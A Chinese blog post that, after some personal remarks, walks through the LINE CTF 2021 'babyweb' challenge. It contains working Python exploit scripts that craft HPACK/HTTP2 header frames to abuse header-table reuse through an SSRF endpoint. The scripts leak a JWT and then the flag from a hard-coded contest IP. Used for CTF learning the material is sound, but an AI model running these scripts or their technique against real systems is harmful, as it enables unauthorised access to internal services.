哈喽,大家好,我是童话。
最近一段时间一直没更新博客[1],一方面是自己懒了,另一方面是由于工作性质的原因,很多工作中有趣的事情也不方便拿出来讲,又没有特别大块的时间去系统的搞一些独立项目、安全研究等,更新博客的事情便一拖再拖。
前阵子偶然看到 @Panda 师傅的公众号,更新频率以及质量都很高,至少我读过之后还是蛮有收获的,能在保持如此更新频率的情况下,还要兼顾质量,对于一个工作党来说,我个人认为这一点非常难得,并且是值得学习的。
说来惭愧,自己在 3 年前也注册过公众号,遗憾的是至今没有更新过一篇文章。
每次写博客的时候,我都在想要输出什么样的内容,最开始写东西的时候我都会事无巨细的写下来,包括操作流程、思考的过程。
有一段时间看到其他博主在写文章的时候只展示关键的操作步骤,并遗漏掉思考的过程,我发现很多安全学术界的论文也有这种现象。
这就导致了一个问题,从读者的角度来看,对于不熟悉的垂直领域,看到这样的文章,乍一看不明觉厉,实际操作起来没有办法复现,干着急,如果读者对这个领域比较熟悉的话,文章本身对他来说又没有特别多的价值,食之无味,弃之可惜。
我也曾经也模仿过这种写作风格,但我发现,这都不是我自己。前阵子在参加 Hacking Club 沙龙的时候,@Snowming 也和我说过,写文章的时候要考虑读者的感受,这样才能保证大家都有收获。
我想确实是这样的,至少几个月之后回头来看,我自己还是可以顺着整个文章完整的对某一个技术点进行复现。
在现实生活中,我并不是一个擅长表达的人,也很少去和朋友谈及我对某一件事情的看法和感受。思来想去,还是决定把这个公众号运营起来,对于这个公众号的定位,一来是分享一些不会太长但绝对有趣的安全技术知识点,另一方面也是向朋友们汇报一下我的近况,互通有无。
对于实时安全漏洞/事件跟进,我也许会发,也许不会发,虽然我很擅长这些,但是我确实不想在公众号运营上花费太多的时间。
好了,啰嗦了这么多,进入今天的正题,来聊一聊 LINE CTF 2021 [2] 中 babyweb 这道题。
(比较有意思的是,在比赛开始之前,我的赛棍学弟 @T4rn 师傅跟我聊到的几个 Web 安全考点,几乎全部命中了。)
先来看一下题目:
Hint: babyweb/Neko is cute
黑盒大概浏览一下,功能比较简单,【Home】主页,【Note】添加和浏览笔记,直接暴露在外部的就没有其他的功能点了。
翻一下代码,这里比较银杏化的一点是,LINE CTF 的 Web 题目都是用 Docker 搭建的,我们可以把代码保存下来,未来可以用 Docker Compose 一键部署进行测试学习。
本地运行环境(我用的是 CentOS 7,需要提前安装好 Docker 和 Docker Compose):
1 | sudo yum remove docker \ |
如果你的操作系统默认的 Python 为 python2,运行上述命令时,会报错误“SyntaxError: invalid syntax”,修改 run.sh 中的 python 为 python3 即可解决。
浏览了一下 run.sh、gen.py、docker-compose_tmp.yml 这 3 个文件,运行环境由 3 个 service 支撑,分别为 babyweb_public、babyweb_internal、babyweb_httpd。
由端口映射情况可知,babyweb_httpd 为我们刚刚访问,暴露在外部的服务。由环境变量的设置情况可知,Flag 埋在 babyweb_internal 服务中。
检查在 /home/centos/CTF 目录下所有文本文件中包含 12000、12001 的行号:
1 | grep -rnw '/home/centos/CTF' -e '12000' |
通过 httpd/httpd.conf 的文件内容(L552-L563)可知,babyweb_httpd 为一个反向代理,将请求转发到后端的 http://babyweb_public:12000/ 中。
1 | <VirtualHost *:80> |
基于上述信息,猜测完整的交互情况为:外部用户访问 12001 端口(CTF 竞赛环境为 80,自建测试环境为 12001)的 babyweb_httpd 服务,babyweb_httpd 将请求转发至后端的 babyweb_public,babyweb_public 部分功能依赖 babyweb_internal,在某种情况下可以请求拿到 Flag。
继续分析一下 public、internal 两个目录下的源码,public 是基于 Flask 开发的 Web 应用,internal 是一个 Node 应用。逆序梳理出获取 Flag 的思路如下,
请求 /flag 路由,在请求头中携带正确的 x-token 信息获取 Flag:
1 | https://babyweb_internal:8443/flag -> router() -> getFlag() -> req.headers['x-token'] , checkToken() -> verify() -> decode() -> CONFIG.flag |
请求 /auth 路由,在请求头中携带正确的用户名和密码信息,生成 JWT token:
1 | https://babyweb_internal:8443/auth -> route() -> auth() -> -> req.headers[CONFIG.header.username], req.headers[CONFIG.header.password], authCheck() -> encode() |
babyweb_public 是一个 Flask 应用,其通过 Blueprint 的方式定义了 /internal/health 路由(POST 请求),会向 https://babyweb_internal:8443/auth 和 https://babyweb_internal:8443/health 发起请求。
我们可以采用如下 HTTP 报文,通过响应内容验证请求已经可以抵达后端 Node 应用:
1 | POST /internal/health HTTP/1.1 |
接下来就是这道题的核心考点,public/src/internal.py#L45-L61:
1 | elif data["type"] == "2": |
再次梳理一下思路,突破这部分关键代码(public/src/internal.py#L57-L61),通过某种方式获取 JWT token,利用获取到的 JWT Token 请求获取 Flag。
Hyper 是一个基于 Python 实现的 HTTP/2 客户端 [7],
1 |
|
import requests
import hpack
from hyperframe.frame import *
def header(id, idx):
enc = hpack.Encoder()
h1 = enc._encode_indexed(idx)
h2 = enc._encode_indexed(idx + 1)
ha = enc.encode({
':path': '/auth',
':method': 'GET' })
hb = enc.encode({
':authority': 'babyweb_internal',
':scheme': 'https'
})
h = ha + hb + h1 + h2
p = HeadersFrame(id, h)
p.flags.add('END_HEADERS')
p = p.serialize()
return p
sess = requests.Session()
HOST = ‘35.187.196.233’
for i in range(62, 128):
r = sess.post(‘http://‘ + HOST + ‘/internal/health’, json={
‘data’: b’’.join([header(5, i)]).decode(‘latin-1’),
‘type’: ‘2’
})
content = r.content
print("")
print(i)
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]
1 |
|
65
b’\x00\x00\x02\x01\x04\x00\x00\x00\x05\x88\xbe\x00\x00\xab\x00\x01\x00\x00\x00\x05{“result”:true,”token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTY5NDM3NDd9.05Vevw3TUfheBwhdztDZbpgavsjVDm6tQIW99gODYR0”}’
HeadersFrame(Stream: 5; Flags: END_HEADERS): 2
DataFrame(Stream: 5; Flags: END_STREAM): 171
1 |
|
import requests
import hpack
from hyperframe.frame import *
def header(id):
enc = hpack.Encoder()
h = enc.encode({
‘:path’: ‘/flag’,
‘:method’: ‘GET’,
‘:authority’: ‘babyweb_internal’,
‘:scheme’: ‘https’,
‘x-token’: ‘eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTY5NDM3NDd9.05Vevw3TUfheBwhdztDZbpgavsjVDm6tQIW99gODYR0’
})
p = HeadersFrame(id, h)
p.flags.add(‘END_HEADERS’)
p = p.serialize()
return p
sess = requests.Session()
HOST = ‘35.187.196.233’
r = sess.post(‘http://‘ + HOST + ‘/internal/health’, json={
‘data’: b’’.join([header(5)]).decode(‘latin-1’),
‘type’: ‘2’
})
content = r.content
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]`
最终获取到 Flag 为:LINECTF{this_ch4ll_1s_really_baby_web}
这道题目还是蛮有意思的,总结一下,核心的考点是利用 HPACK 在同一个 connection 的不同的 stream 中使用相同的 Indexing Tables 这一特性导致的 Header 字段重用。
另外,目前,CTF 的线上环境仍然是有效的,有兴趣的读者可以直接访问做一些测试。我这边也将赛题环境和漏洞利用代码备份到了 Github 上留存,地址为:https://github.com/tonghuaroot/My-CTF-Web-Challenges/tree/main/LINE%20CTF%202021/babyweb
[1] TonghuaRoot’s BloG. - Cyber security enthusiast, not Hacker. - https://tonghuaroot.com/
[2] LINE CTF 2021 https://linectf.me/
[3] What is the difference between docker-compose ports vs expose https://stackoverflow.com/questions/40801772/what-is-the-difference-between-docker-compose-ports-vs-expose
[4] How do I find all files containing specific text on Linux? https://stackoverflow.com/questions/16956810/how-do-i-find-all-files-containing-specific-text-on-linux
[5] Install Docker Engine on CentOS https://docs.docker.com/engine/install/centos/
[6] LINE CTF 2021 Writeup - babyweb https://hackmd.io/@stypr233/linectf#babyweb
[7] Hyper: HTTP/2 Client for Python https://hyper.readthedocs.io/en/latest/index.html
[8] _send_cb() https://github.com/python-hyper/hyper/blob/development/hyper/http20/connection.py#L625-L642
[9] Streams https://hyper.readthedocs.io/en/latest/quickstart.html#streams
[10] HPACK和twitter hpack源码解析 https://www.jianshu.com/p/96f21b9b4fd5
[11] hpack: HTTP/2 Header Compression for Python https://python-hyper.org/projects/hpack/en/stable/
[12] Indexing Tables https://tools.ietf.org/html/rfc7541#section-2.3